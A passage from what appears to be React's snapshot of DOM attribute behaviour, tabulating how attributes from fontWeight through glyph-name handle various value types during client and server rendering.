|\n| `fontWeight=(empty array)`| (changed)| `<empty string>` |\n| `fontWeight=(object)`| (changed)| `\"result of toString()\"` |\n| `fontWeight=(numeric string)`| (changed)| `\"42\"` |\n| `fontWeight=(-1)`| (changed)| `\"-1\"` |\n| `fontWeight=(0)`| (changed)| `\"0\"` |\n| `fontWeight=(integer)`| (changed)| `\"1\"` |\n| `fontWeight=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fontWeight=(float)`| (changed)| `\"99.99\"` |\n| `fontWeight=(true)`| (initial, warning)| `<null>` |\n| `fontWeight=(false)`| (initial, warning)| `<null>` |\n| `fontWeight=(string 'true')`| (changed)| `\"true\"` |\n| `fontWeight=(string 'false')`| (changed)| `\"false\"` |\n| `fontWeight=(string 'on')`| (changed)| `\"on\"` |\n| `fontWeight=(string 'off')`| (changed)| `\"off\"` |\n| `fontWeight=(symbol)`| (initial, warning)| `<null>` |\n| `fontWeight=(function)`| (initial, warning)| `<null>` |\n| `fontWeight=(null)`| (initial)| `<null>` |\n| `fontWeight=(undefined)`| (initial)| `<null>` |\n\n## `for` (on `<label>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `for=(string)`| (changed, warning)| `\"a string\"` |\n| `for=(empty string)`| (initial, warning)| `<empty string>` |\n| `for=(array with string)`| (changed, warning)| `\"string\"` |\n| `for=(empty array)`| (initial, warning)| `<empty string>` |\n| `for=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `for=(numeric string)`| (changed, warning)| `\"42\"` |\n| `for=(-1)`| (changed, warning)| `\"-1\"` |\n| `for=(0)`| (changed, warning)| `\"0\"` |\n| `for=(integer)`| (changed, warning)| `\"1\"` |\n| `for=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `for=(float)`| (changed, warning)| `\"99.99\"` |\n| `for=(true)`| (initial, warning)| `<empty string>` |\n| `for=(false)`| (initial, warning)| `<empty string>` |\n| `for=(string 'true')`| (changed, warning)| `\"true\"` |\n| `for=(string 'false')`| (changed, warning)| `\"false\"` |\n| `for=(string 'on')`| (changed, warning)| `\"on\"` |\n| `for=(string 'off')`| (changed, warning)| `\"off\"` |\n| `for=(symbol)`| (initial, warning)| `<empty string>` |\n| `for=(function)`| (initial, warning)| `<empty string>` |\n| `for=(null)`| (initial, warning)| `<empty string>` |\n| `for=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `fOr` (on `<label>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fOr=(string)`| (changed, warning)| `\"a string\"` |\n| `fOr=(empty string)`| (initial, warning)| `<empty string>` |\n| `fOr=(array with string)`| (changed, warning)| `\"string\"` |\n| `fOr=(empty array)`| (initial, warning)| `<empty string>` |\n| `fOr=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `fOr=(numeric string)`| (changed, warning)| `\"42\"` |\n| `fOr=(-1)`| (changed, warning)| `\"-1\"` |\n| `fOr=(0)`| (changed, warning)| `\"0\"` |\n| `fOr=(integer)`| (changed, warning)| `\"1\"` |\n| `fOr=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fOr=(float)`| (changed, warning)| `\"99.99\"` |\n| `fOr=(true)`| (initial, warning)| `<empty string>` |\n| `fOr=(false)`| (initial, warning)| `<empty string>` |\n| `fOr=(string 'true')`| (changed, warning)| `\"true\"` |\n| `fOr=(string 'false')`| (changed, warning)| `\"false\"` |\n| `fOr=(string 'on')`| (changed, warning)| `\"on\"` |\n| `fOr=(string 'off')`| (changed, warning)| `\"off\"` |\n| `fOr=(symbol)`| (initial, warning)| `<empty string>` |\n| `fOr=(function)`| (initial, warning)| `<empty string>` |\n| `fOr=(null)`| (initial, warning)| `<empty string>` |\n| `fOr=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `form` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `form=(string)`| (changed)| `\"a string\"` |\n| `form=(empty string)`| (changed)| `<empty string>` |\n| `form=(array with string)`| (changed)| `\"string\"` |\n| `form=(empty array)`| (changed)| `<empty string>` |\n| `form=(object)`| (changed)| `\"result of toString()\"` |\n| `form=(numeric string)`| (changed)| `\"42\"` |\n| `form=(-1)`| (changed)| `\"-1\"` |\n| `form=(0)`| (changed)| `\"0\"` |\n| `form=(integer)`| (changed)| `\"1\"` |\n| `form=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `form=(float)`| (changed)| `\"99.99\"` |\n| `form=(true)`| (initial, warning)| `<null>` |\n| `form=(false)`| (initial, warning)| `<null>` |\n| `form=(string 'true')`| (changed)| `\"true\"` |\n| `form=(string 'false')`| (changed)| `\"false\"` |\n| `form=(string 'on')`| (changed)| `\"on\"` |\n| `form=(string 'off')`| (changed)| `\"off\"` |\n| `form=(symbol)`| (initial, warning)| `<null>` |\n| `form=(function)`| (initial, warning)| `<null>` |\n| `form=(null)`| (initial)| `<null>` |\n| `form=(undefined)`| (initial)| `<null>` |\n\n## `formAction` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `formAction=(string)`| (changed, warning)| `\"https://reactjs.com/\"` |\n| `formAction=(empty string)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `formAction=(array with string)`| (changed, warning)| `\"https://reactjs.com/\"` |\n| `formAction=(empty array)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `formAction=(object)`| (changed, warning)| `\"http://localhost:3000/result%20of%20toString()\"` |\n| `formAction=(numeric string)`| (changed, warning)| `\"http://localhost:3000/42\"` |\n| `formAction=(-1)`| (changed, warning)| `\"http://localhost:3000/-1\"` |\n| `formAction=(0)`| (changed, warning)| `\"http://localhost:3000/0\"` |\n| `formAction=(integer)`| (changed, warning)| `\"http://localhost:3000/1\"` |\n| `formAction=(NaN)`| (changed, warning)| `\"http://localhost:3000/NaN\"` |\n| `formAction=(float)`| (changed, warning)| `\"http://localhost:3000/99.99\"` |\n| `formAction=(true)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `formAction=(false)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `formAction=(string 'true')`| (changed, warning)| `\"http://localhost:3000/true\"` |\n| `formAction=(string 'false')`| (changed, warning)| `\"http://localhost:3000/false\"` |\n| `formAction=(string 'on')`| (changed, warning)| `\"http://localhost:3000/on\"` |\n| `formAction=(string 'off')`| (changed, warning)| `\"http://localhost:3000/off\"` |\n| `formAction=(symbol)`| (initial, warning)| `\"http://localhost:3000/\"` |\n| `formAction=(function)`| (changed, warning, ssr error, ssr mismatch)| `\"javascript:throw new Error('A React form was unexpectedly submitted. If you called form.submit() manually, consider using form.requestSubmit() instead. If you\\'re trying to use event.stopPropagation() in a submit event handler, consider also calling event.preventDefault().')\"` |\n| `formAction=(null)`| (initial)| `\"http://localhost:3000/\"` |\n| `formAction=(undefined)`| (initial)| `\"http://localhost:3000/\"` |\n\n## `format` (on `<altGlyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `format=(string)`| (changed)| `\"a string\"` |\n| `format=(empty string)`| (changed)| `<empty string>` |\n| `format=(array with string)`| (changed)| `\"string\"` |\n| `format=(empty array)`| (changed)| `<empty string>` |\n| `format=(object)`| (changed)| `\"result of toString()\"` |\n| `format=(numeric string)`| (changed)| `\"42\"` |\n| `format=(-1)`| (changed)| `\"-1\"` |\n| `format=(0)`| (changed)| `\"0\"` |\n| `format=(integer)`| (changed)| `\"1\"` |\n| `format=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `format=(float)`| (changed)| `\"99.99\"` |\n| `format=(true)`| (initial, warning)| `<null>` |\n| `format=(false)`| (initial, warning)| `<null>` |\n| `format=(string 'true')`| (changed)| `\"true\"` |\n| `format=(string 'false')`| (changed)| `\"false\"` |\n| `format=(string 'on')`| (changed)| `\"on\"` |\n| `format=(string 'off')`| (changed)| `\"off\"` |\n| `format=(symbol)`| (initial, warning)| `<null>` |\n| `format=(function)`| (initial, warning)| `<null>` |\n| `format=(null)`| (initial)| `<null>` |\n| `format=(undefined)`| (initial)| `<null>` |\n\n## `formEncType` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `formEncType=(string)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(empty string)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(array with string)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(empty array)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(object)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(numeric string)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(-1)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(0)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(integer)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(NaN)`| (changed, warning)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(float)`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(true)`| (initial, warning)| `<empty string>` |\n| `formEncType=(false)`| (initial, warning)| `<empty string>` |\n| `formEncType=(string 'true')`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(string 'false')`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(string 'on')`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(string 'off')`| (changed)| `\"application/x-www-form-urlencoded\"` |\n| `formEncType=(symbol)`| (initial, warning)| `<empty string>` |\n| `formEncType=(function)`| (initial, warning)| `<empty string>` |\n| `formEncType=(null)`| (initial)| `<empty string>` |\n| `formEncType=(undefined)`| (initial)| `<empty string>` |\n\n## `formMethod` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `formMethod=(string)`| (changed)| `\"post\"` |\n| `formMethod=(empty string)`| (changed)| `\"get\"` |\n| `formMethod=(array with string)`| (changed)| `\"post\"` |\n| `formMethod=(empty array)`| (changed)| `\"get\"` |\n| `formMethod=(object)`| (changed)| `\"get\"` |\n| `formMethod=(numeric string)`| (changed)| `\"get\"` |\n| `formMethod=(-1)`| (changed)| `\"get\"` |\n| `formMethod=(0)`| (changed)| `\"get\"` |\n| `formMethod=(integer)`| (changed)| `\"get\"` |\n| `formMethod=(NaN)`| (changed, warning)| `\"get\"` |\n| `formMethod=(float)`| (changed)| `\"get\"` |\n| `formMethod=(true)`| (initial, warning)| `<empty string>` |\n| `formMethod=(false)`| (initial, warning)| `<empty string>` |\n| `formMethod=(string 'true')`| (changed)| `\"get\"` |\n| `formMethod=(string 'false')`| (changed)| `\"get\"` |\n| `formMethod=(string 'on')`| (changed)| `\"get\"` |\n| `formMethod=(string 'off')`| (changed)| `\"get\"` |\n| `formMethod=(symbol)`| (initial, warning)| `<empty string>` |\n| `formMethod=(function)`| (initial, warning)| `<empty string>` |\n| `formMethod=(null)`| (initial)| `<empty string>` |\n| `formMethod=(undefined)`| (initial)| `<empty string>` |\n\n## `formNoValidate` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `formNoValidate=(string)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(empty string)`| (initial)| `<boolean: false>` |\n| `formNoValidate=(array with string)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(empty array)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(object)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(numeric string)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(-1)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(0)`| (initial)| `<boolean: false>` |\n| `formNoValidate=(integer)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `formNoValidate=(float)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(true)`| (changed)| `<boolean: true>` |\n| `formNoValidate=(false)`| (initial)| `<boolean: false>` |\n| `formNoValidate=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `formNoValidate=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `formNoValidate=(string 'on')`| (changed)| `<boolean: true>` |\n| `formNoValidate=(string 'off')`| (changed)| `<boolean: true>` |\n| `formNoValidate=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `formNoValidate=(function)`| (initial, warning)| `<boolean: false>` |\n| `formNoValidate=(null)`| (initial)| `<boolean: false>` |\n| `formNoValidate=(undefined)`| (initial)| `<boolean: false>` |\n\n## `formTarget` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `formTarget=(string)`| (changed)| `\"a string\"` |\n| `formTarget=(empty string)`| (initial)| `<empty string>` |\n| `formTarget=(array with string)`| (changed)| `\"string\"` |\n| `formTarget=(empty array)`| (initial)| `<empty string>` |\n| `formTarget=(object)`| (changed)| `\"result of toString()\"` |\n| `formTarget=(numeric string)`| (changed)| `\"42\"` |\n| `formTarget=(-1)`| (changed)| `\"-1\"` |\n| `formTarget=(0)`| (changed)| `\"0\"` |\n| `formTarget=(integer)`| (changed)| `\"1\"` |\n| `formTarget=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `formTarget=(float)`| (changed)| `\"99.99\"` |\n| `formTarget=(true)`| (initial, warning)| `<empty string>` |\n| `formTarget=(false)`| (initial, warning)| `<empty string>` |\n| `formTarget=(string 'true')`| (changed)| `\"true\"` |\n| `formTarget=(string 'false')`| (changed)| `\"false\"` |\n| `formTarget=(string 'on')`| (changed)| `\"on\"` |\n| `formTarget=(string 'off')`| (changed)| `\"off\"` |\n| `formTarget=(symbol)`| (initial, warning)| `<empty string>` |\n| `formTarget=(function)`| (initial, warning)| `<empty string>` |\n| `formTarget=(null)`| (initial)| `<empty string>` |\n| `formTarget=(undefined)`| (initial)| `<empty string>` |\n\n## `frameBorder` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `frameBorder=(string)`| (changed)| `\"a string\"` |\n| `frameBorder=(empty string)`| (initial)| `<empty string>` |\n| `frameBorder=(array with string)`| (changed)| `\"string\"` |\n| `frameBorder=(empty array)`| (initial)| `<empty string>` |\n| `frameBorder=(object)`| (changed)| `\"result of toString()\"` |\n| `frameBorder=(numeric string)`| (changed)| `\"42\"` |\n| `frameBorder=(-1)`| (changed)| `\"-1\"` |\n| `frameBorder=(0)`| (changed)| `\"0\"` |\n| `frameBorder=(integer)`| (changed)| `\"1\"` |\n| `frameBorder=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `frameBorder=(float)`| (changed)| `\"99.99\"` |\n| `frameBorder=(true)`| (initial, warning)| `<empty string>` |\n| `frameBorder=(false)`| (initial, warning)| `<empty string>` |\n| `frameBorder=(string 'true')`| (changed)| `\"true\"` |\n| `frameBorder=(string 'false')`| (changed)| `\"false\"` |\n| `frameBorder=(string 'on')`| (changed)| `\"on\"` |\n| `frameBorder=(string 'off')`| (changed)| `\"off\"` |\n| `frameBorder=(symbol)`| (initial, warning)| `<empty string>` |\n| `frameBorder=(function)`| (initial, warning)| `<empty string>` |\n| `frameBorder=(null)`| (initial)| `<empty string>` |\n| `frameBorder=(undefined)`| (initial)| `<empty string>` |\n\n## `from` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `from=(string)`| (changed)| `\"a string\"` |\n| `from=(empty string)`| (changed)| `<empty string>` |\n| `from=(array with string)`| (changed)| `\"string\"` |\n| `from=(empty array)`| (changed)| `<empty string>` |\n| `from=(object)`| (changed)| `\"result of toString()\"` |\n| `from=(numeric string)`| (changed)| `\"42\"` |\n| `from=(-1)`| (changed)| `\"-1\"` |\n| `from=(0)`| (changed)| `\"0\"` |\n| `from=(integer)`| (changed)| `\"1\"` |\n| `from=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `from=(float)`| (changed)| `\"99.99\"` |\n| `from=(true)`| (initial, warning)| `<null>` |\n| `from=(false)`| (initial, warning)| `<null>` |\n| `from=(string 'true')`| (changed)| `\"true\"` |\n| `from=(string 'false')`| (changed)| `\"false\"` |\n| `from=(string 'on')`| (changed)| `\"on\"` |\n| `from=(string 'off')`| (changed)| `\"off\"` |\n| `from=(symbol)`| (initial, warning)| `<null>` |\n| `from=(function)`| (initial, warning)| `<null>` |\n| `from=(null)`| (initial)| `<null>` |\n| `from=(undefined)`| (initial)| `<null>` |\n\n## `fx` (on `<radialGradient>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fx=(string)`| (changed)| `<SVGLength: 10px>` |\n| `fx=(empty string)`| (initial)| `<SVGLength: 50%>` |\n| `fx=(array with string)`| (changed)| `<SVGLength: 10px>` |\n| `fx=(empty array)`| (initial)| `<SVGLength: 50%>` |\n| `fx=(object)`| (initial)| `<SVGLength: 50%>` |\n| `fx=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `fx=(-1)`| (changed)| `<SVGLength: -1>` |\n| `fx=(0)`| (changed)| `<SVGLength: 0>` |\n| `fx=(integer)`| (changed)| `<SVGLength: 1>` |\n| `fx=(NaN)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fx=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `fx=(true)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fx=(false)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fx=(string 'true')`| (initial)| `<SVGLength: 50%>` |\n| `fx=(string 'false')`| (initial)| `<SVGLength: 50%>` |\n| `fx=(string 'on')`| (initial)| `<SVGLength: 50%>` |\n| `fx=(string 'off')`| (initial)| `<SVGLength: 50%>` |\n| `fx=(symbol)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fx=(function)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fx=(null)`| (initial)| `<SVGLength: 50%>` |\n| `fx=(undefined)`| (initial)| `<SVGLength: 50%>` |\n\n## `fX` (on `<radialGradient>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fX=(string)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fX=(empty string)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(array with string)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fX=(empty array)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(object)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(numeric string)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fX=(-1)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fX=(0)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fX=(integer)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fX=(NaN)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(float)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fX=(true)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(false)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(string 'true')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(string 'false')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(string 'on')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(string 'off')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(symbol)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(function)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(null)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fX=(undefined)`| (initial, warning)| `<SVGLength: 50%>` |\n\n## `fY` (on `<radialGradient>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fY=(string)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fY=(empty string)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(array with string)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fY=(empty array)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(object)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(numeric string)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fY=(-1)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fY=(0)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fY=(integer)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fY=(NaN)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(float)`| (initial, warning, ssr mismatch)| `<SVGLength: 50%>` |\n| `fY=(true)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(false)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(string 'true')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(string 'false')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(string 'on')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(string 'off')`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(symbol)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(function)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(null)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fY=(undefined)`| (initial, warning)| `<SVGLength: 50%>` |\n\n## `fy` (on `<radialGradient>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fy=(string)`| (changed)| `<SVGLength: 20em>` |\n| `fy=(empty string)`| (initial)| `<SVGLength: 50%>` |\n| `fy=(array with string)`| (changed)| `<SVGLength: 20em>` |\n| `fy=(empty array)`| (initial)| `<SVGLength: 50%>` |\n| `fy=(object)`| (initial)| `<SVGLength: 50%>` |\n| `fy=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `fy=(-1)`| (changed)| `<SVGLength: -1>` |\n| `fy=(0)`| (changed)| `<SVGLength: 0>` |\n| `fy=(integer)`| (changed)| `<SVGLength: 1>` |\n| `fy=(NaN)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fy=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `fy=(true)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fy=(false)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fy=(string 'true')`| (initial)| `<SVGLength: 50%>` |\n| `fy=(string 'false')`| (initial)| `<SVGLength: 50%>` |\n| `fy=(string 'on')`| (initial)| `<SVGLength: 50%>` |\n| `fy=(string 'off')`| (initial)| `<SVGLength: 50%>` |\n| `fy=(symbol)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fy=(function)`| (initial, warning)| `<SVGLength: 50%>` |\n| `fy=(null)`| (initial)| `<SVGLength: 50%>` |\n| `fy=(undefined)`| (initial)| `<SVGLength: 50%>` |\n\n## `G1` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `G1=(string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(empty string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(array with string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(empty array)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(object)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(numeric string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(-1)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(0)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(integer)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(NaN)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(float)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(true)`| (initial, warning)| `<null>` |\n| `G1=(false)`| (initial, warning)| `<null>` |\n| `G1=(string 'true')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(string 'false')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(string 'on')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(string 'off')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G1=(symbol)`| (initial, warning)| `<null>` |\n| `G1=(function)`| (initial, warning)| `<null>` |\n| `G1=(null)`| (initial, warning)| `<null>` |\n| `G1=(undefined)`| (initial, warning)| `<null>` |\n\n## `g1` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `g1=(string)`| (changed)| `\"a string\"` |\n| `g1=(empty string)`| (changed)| `<empty string>` |\n| `g1=(array with string)`| (changed)| `\"string\"` |\n| `g1=(empty array)`| (changed)| `<empty string>` |\n| `g1=(object)`| (changed)| `\"result of toString()\"` |\n| `g1=(numeric string)`| (changed)| `\"42\"` |\n| `g1=(-1)`| (changed)| `\"-1\"` |\n| `g1=(0)`| (changed)| `\"0\"` |\n| `g1=(integer)`| (changed)| `\"1\"` |\n| `g1=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `g1=(float)`| (changed)| `\"99.99\"` |\n| `g1=(true)`| (initial, warning)| `<null>` |\n| `g1=(false)`| (initial, warning)| `<null>` |\n| `g1=(string 'true')`| (changed)| `\"true\"` |\n| `g1=(string 'false')`| (changed)| `\"false\"` |\n| `g1=(string 'on')`| (changed)| `\"on\"` |\n| `g1=(string 'off')`| (changed)| `\"off\"` |\n| `g1=(symbol)`| (initial, warning)| `<null>` |\n| `g1=(function)`| (initial, warning)| `<null>` |\n| `g1=(null)`| (initial)| `<null>` |\n| `g1=(undefined)`| (initial)| `<null>` |\n\n## `G2` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `G2=(string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(empty string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(array with string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(empty array)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(object)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(numeric string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(-1)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(0)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(integer)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(NaN)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(float)`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(true)`| (initial, warning)| `<null>` |\n| `G2=(false)`| (initial, warning)| `<null>` |\n| `G2=(string 'true')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(string 'false')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(string 'on')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(string 'off')`| (initial, warning, ssr mismatch)| `<null>` |\n| `G2=(symbol)`| (initial, warning)| `<null>` |\n| `G2=(function)`| (initial, warning)| `<null>` |\n| `G2=(null)`| (initial, warning)| `<null>` |\n| `G2=(undefined)`| (initial, warning)| `<null>` |\n\n## `g2` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `g2=(string)`| (changed)| `\"a string\"` |\n| `g2=(empty string)`| (changed)| `<empty string>` |\n| `g2=(array with string)`| (changed)| `\"string\"` |\n| `g2=(empty array)`| (changed)| `<empty string>` |\n| `g2=(object)`| (changed)| `\"result of toString()\"` |\n| `g2=(numeric string)`| (changed)| `\"42\"` |\n| `g2=(-1)`| (changed)| `\"-1\"` |\n| `g2=(0)`| (changed)| `\"0\"` |\n| `g2=(integer)`| (changed)| `\"1\"` |\n| `g2=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `g2=(float)`| (changed)| `\"99.99\"` |\n| `g2=(true)`| (initial, warning)| `<null>` |\n| `g2=(false)`| (initial, warning)| `<null>` |\n| `g2=(string 'true')`| (changed)| `\"true\"` |\n| `g2=(string 'false')`| (changed)| `\"false\"` |\n| `g2=(string 'on')`| (changed)| `\"on\"` |\n| `g2=(string 'off')`| (changed)| `\"off\"` |\n| `g2=(symbol)`| (initial, warning)| `<null>` |\n| `g2=(function)`| (initial, warning)| `<null>` |\n| `g2=(null)`| (initial)| `<null>` |\n| `g2=(undefined)`| (initial)| `<null>` |\n\n## `glyph-name` (on `<glyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `glyph-name=(string)`| (changed, warning)| `\"a string\"` |\n| `glyph-name=(empty string)`| (changed, warning)| `<empty string>` |\n| `glyph-name=(array with string)`| (changed, warning)| `\"string\"` |\n| `glyph-name=(empty array)`| (changed, warning)| `<empty string>` |\n| `glyph-name=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `glyph-name=(numeric string)`| (changed, warning)| `\"42\"` |\n| `glyph-name=(-1)`| (changed, warning)| `\"-1\"` |\n| `glyph-name=(0)`| (changed, warning)| `\"0\"` |\n| `glyph-name=(integer)`| (changed, warning)| `\"1\"` |\n| `glyph-name=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `glyph-name=(float)`| (changed, warning)| `\"99.99\"` |\n| `glyph-name=(true)`| (initial, warning)| `<null>` |\n| `glyph-name=(false)`| (initial, warning)| `<null>` |\n| `glyph-name=(string 'true')`| (changed, warning)| `\"true\"` |\n| `glyph-name=(string 'false')`| (changed, warning)| `\"false\"` |\n| `glyph-name=(string 'on')`| (changed, warning)| `\"on\"` |\n| `glyph-name=(string 'off')`| (changed, warning)| `\"off\"` |\n| `glyph-name=(symbol)`| (initial, warning)| `<null>` |\n| `glyph-name=(function)`| (initial, warning)| `<null>` |\n| `glyph-name=(null)`| (initial, warning)| `<null>` |\n| `glyph-name=(undefined)`| (initial, warning)| `<null>` |\n\n## `glyph-orientation-horizontal` (on 